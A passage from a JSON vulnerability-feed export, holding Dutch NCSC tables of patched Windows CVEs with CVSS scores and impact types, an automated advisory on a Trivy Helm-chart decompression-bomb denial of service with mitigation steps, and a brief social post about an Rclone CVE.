\n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-15T01:01:13.022598Z"}, {"uuid": "54c62ad0-f7e5-4b21-ba85-1944335e3b80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54448", "type": "seen", "source": "https://gist.github.com/alon710/94e6df27894be3cbbefd9a4426323455", "content": "# CVE-2026-54448: CVE-2026-54448: Denial of Service in Trivy Helm Chart Parser via Decompression Bomb\n\n> **CVSS Score:** 6.5\n> **Published:** 2026-07-14\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54448\n\n## Summary\nCVE-2026-54448 is a critical denial of service vulnerability in Trivy's Infrastructure-as-Code (IaC) misconfiguration scanning engine. Prior to version 0.71.0, Trivy utilized a custom archive parser to unpack Helm chart tarballs (.tgz) during automated scans. This custom implementation iterated through compressed files and loaded their entire raw contents into system memory using the io.ReadAll function without implementing size limits or threshold checks, enabling an attacker to trigger an immediate heap-allocation crash or system Out-of-Memory (OOM) termination using a decompression bomb.\n\n## TL;DR\nTrivy versions prior to 0.71.0 are vulnerable to Denial of Service (DoS) via decompression bombs. The custom Helm chart unpacker uses unbounded memory reads, allowing small malicious archives to exhaust host memory and crash the scanner process.\n\n## Technical Details\n\n- **Vulnerability Type**: Improper Handling of Highly Compressed Data (CWE-409)\n- **Attack Vector**: Network\n- **Attack Complexity**: Low\n- **CVSS v3.1 Base Score**: 6.5 (Medium)\n- **EPSS Score**: 0.0025\n- **KEV Status**: Not Listed\n- **Exploit Maturity**: none\n\n## Affected Systems\n\n- Aqua Security Trivy (versions < 0.71.0)\n- **Trivy**: < 0.71.0 (Fixed in: `0.71.0`)\n\n## Mitigation\n\n- Upgrade Trivy command-line installations and container images to version 0.71.0 or higher.\n- Skip processing of compressed archives using the --skip-files or --skip-dirs arguments.\n- Enforce strict control group (cgroups) or container-level memory limits on scan runners to prevent host memory depletion.\n\n**Remediation Steps:**\n1. Determine current Trivy versions active across local environments and deployment pipelines by executing 'trivy --version'.\n2. Update central CI/CD template files and workflow configurations to explicitly require aquasec/trivy:0.71.0 or newer.\n3. For legacy setups where upgrades are blocked, configure the '--skip-files' parameter to bypass .tgz and .tar files during scanning.\n\n## References\n\n- [GitHub Security Advisory GHSA-q3fv-x8vg-qqm4](https://github.com/aquasecurity/trivy/security/advisories/GHSA-q3fv-x8vg-qqm4)\n- [Trivy Refactor PR #10718](https://github.com/aquasecurity/trivy/pull/10718)\n- [Fixing Commit 441251e51ae46cbcf7f436547e0a5766b25328b4](https://github.com/aquasecurity/trivy/commit/441251e51ae46cbcf7f436547e0a5766b25328b4)\n- [Trivy v0.71.0 Release Notes](https://github.com/aquasecurity/trivy/releases/tag/v0.71.0)\n- [NVD CVE-2026-54448 Detail](https://nvd.nist.gov/vuln/detail/CVE-2026-54448)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54448) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-14T23:12:19.990516Z"}, {"uuid": "5ff76566-f63b-4a1c-8bd1-31bb1fccfeae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54572", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mqndun2muq2x", "content": "\ud83d\udfe0 CVE-2026-54572 - High (7.5)\n\nRclone is a command-line program to sync files and directories to and from different clown storag...\n\nhttps://www.themasherwire.com/vulnerability/CVE-2026-54572/\n\n#infosec #potatosecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-14T23:20:52.123578Z"}, {"uuid": "a05ca4c5-9dd4-4385-94ad-34aa9112d888", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54129", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: 